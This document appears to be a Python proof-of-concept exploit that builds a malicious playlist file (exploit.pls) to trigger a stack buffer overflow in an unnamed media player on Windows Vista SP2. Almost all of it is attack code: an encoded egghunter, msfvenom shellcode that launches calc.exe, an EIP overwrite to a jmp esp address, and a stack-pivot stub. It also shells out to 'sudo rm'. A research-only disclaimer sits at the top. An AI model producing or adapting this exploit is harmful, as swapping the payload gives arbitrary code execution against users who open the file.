''' Vulnerable Software: 
		Available Here: 
	Payload: windows/exec CMD=calc.exe
	System Info: Windows VISTA Service Pack 2 

	Disclaimer: PLEASE! This is for research purposes only, and should only be used on authorized systems.
				Accessing a computer system or network without authorization or explicit permission is illegal.
'''

import os

'''
 egghunter = "6681caff0f42526a0258cd2e3c055a74efb8623333668bfaaf75eaaf75e7ffe7"
 using hexeditor created a new file egg.bin and and wrote our egghunter into that file.
 msfvenom -p generic/custom PAYLOADFILE=egg.bin -a x86 -e x86/alpha_mixed -f python -v encegg
'''

encegg =  b""
encegg += b"\x89\xe3\xdb\xc3\xd9\x73\xf4\x59\x49\x49\x49\x49"
encegg += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43"
encegg += b"\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41"
encegg += b"\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42"
encegg += b"\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42"
encegg += b"\x46\x4d\x51\x48\x4a\x69\x6f\x74\x4f\x71\x52\x32"
encegg += b"\x72\x43\x5a\x34\x42\x31\x48\x58\x4d\x54\x6e\x67"
encegg += b"\x4c\x36\x65\x31\x4a\x33\x44\x7a\x4f\x6c\x78\x63"
encegg += b"\x52\x77\x43\x47\x43\x52\x46\x6c\x4b\x6b\x4a\x6e"
encegg += b"\x4f\x74\x35\x48\x6a\x6e\x4f\x31\x65\x5a\x47\x79"
encegg += b"\x6f\x49\x77\x41\x41"

# msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00' -v "shellcode" -e x86/alpha_mixed
shellcode =  "b33fb33f"
shellcode +=  b""
shellcode += b"\xda\xd1\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
shellcode += b"\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30"
shellcode += b"\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
shellcode += b"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
shellcode += b"\x42\x75\x4a\x49\x49\x6c\x6d\x38\x4e\x62\x65"
shellcode += b"\x50\x53\x30\x55\x50\x75\x30\x6f\x79\x59\x75"
shellcode += b"\x45\x61\x79\x50\x50\x64\x4c\x4b\x72\x70\x50"
shellcode += b"\x30\x4e\x6b\x36\x32\x74\x4c\x4c\x4b\x63\x62"
shellcode += b"\x56\x74\x6e\x6b\x34\x32\x66\x48\x56\x6f\x78"
shellcode += b"\x37\x43\x7a\x56\x46\x36\x51\x49\x6f\x6c\x6c"
shellcode += b"\x65\x6c\x35\x31\x43\x4c\x54\x42\x34\x6c\x77"
shellcode += b"\x50\x59\x51\x78\x4f\x66\x6d\x63\x31\x48\x47"
shellcode += b"\x6a\x42\x6a\x52\x46\x32\x42\x77\x4c\x4b\x76"
shellcode += b"\x32\x76\x70\x6c\x4b\x32\x6a\x47\x4c\x6e\x6b"
shellcode += b"\x72\x6c\x44\x51\x62\x58\x78\x63\x30\x48\x43"
shellcode += b"\x31\x48\x51\x63\x61\x6c\x4b\x30\x59\x61\x30"
shellcode += b"\x53\x31\x4a\x73\x4c\x4b\x30\x49\x76\x78\x4b"
shellcode += b"\x53\x36\x5a\x63\x79\x4c\x4b\x74\x74\x6e\x6b"
shellcode += b"\x75\x51\x59\x46\x54\x71\x59\x6f\x6e\x4c\x5a"
shellcode += b"\x61\x78\x4f\x34\x4d\x43\x31\x6a\x67\x54\x78"
shellcode += b"\x6d\x30\x44\x35\x4a\x56\x63\x33\x51\x6d\x58"
shellcode += b"\x78\x77\x4b\x31\x6d\x74\x64\x73\x45\x5a\x44"
shellcode += b"\x53\x68\x4e\x6b\x42\x78\x35\x74\x43\x31\x49"
shellcode += b"\x43\x32\x46\x6e\x6b\x56\x6c\x50\x4b\x4e\x6b"
shellcode += b"\x30\x58\x57\x6c\x33\x31\x58\x53\x6c\x4b\x64"
shellcode += b"\x44\x6c\x4b\x53\x31\x68\x50\x4e\x69\x70\x44"
shellcode += b"\x56\x44\x45\x74\x31\x4b\x33\x6b\x71\x71\x76"
shellcode += b"\x39\x31\x4a\x66\x31\x4b\x4f\x4b\x50\x33\x6f"
shellcode += b"\x53\x6f\x52\x7a\x6c\x4b\x75\x42\x5a\x4b\x6e"
shellcode += b"\x6d\x33\x6d\x70\x6a\x66\x61\x6e\x6d\x4e\x65"
shellcode += b"\x6e\x52\x33\x30\x75\x50\x55\x50\x76\x30\x61"
shellcode += b"\x78\x50\x31\x4e\x6b\x30\x6f\x4d\x57\x4b\x4f"
shellcode += b"\x6a\x75\x6f\x4b\x5a\x50\x6c\x75\x49\x32\x43"
shellcode += b"\x66\x52\x48\x49\x36\x5a\x35\x6f\x4d\x6d\x4d"
shellcode += b"\x49\x6f\x7a\x75\x67\x4c\x46\x66\x53\x4c\x55"
shellcode += b"\x5a\x4b\x30\x39\x6b\x6b\x50\x33\x45\x53\x35"
shellcode += b"\x6f\x4b\x50\x47\x45\x43\x52\x52\x62\x4f\x61"
shellcode += b"\x7a\x65\x50\x61\x43\x49\x6f\x4a\x75\x43\x53"
shellcode += b"\x63\x51\x52\x4c\x35\x33\x34\x6e\x30\x65\x52"
shellcode += b"\x58\x42\x45\x37\x70\x41\x41"

buffer = "\x90" * 10
buffer += shellcode
buffer += "\x90" * (856 - len(buffer))
buffer += encegg;
buffer += "\xcc" * (166 - len(encegg));
buffer += "\x61\xd9\x02\x02" 		 			#Setting EIP to  jmp esp address  
buffer += "\x83\xec\x58\x83\xec\x58\xff\xe4"	#Decreasing the stack by subtracting 176 bytes from it and jumping back in stack to evade the size restrictions.
buffer += "\x90\x90\x90\x90"

request = "[playlist]\r\nFile1=\\\\";
request += buffer
request += "\r\nTitle1=pwnd\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n";

os.system("sudo rm exploit.pls")
file = open("exploit.pls","w")
file.write(request)
file.close()


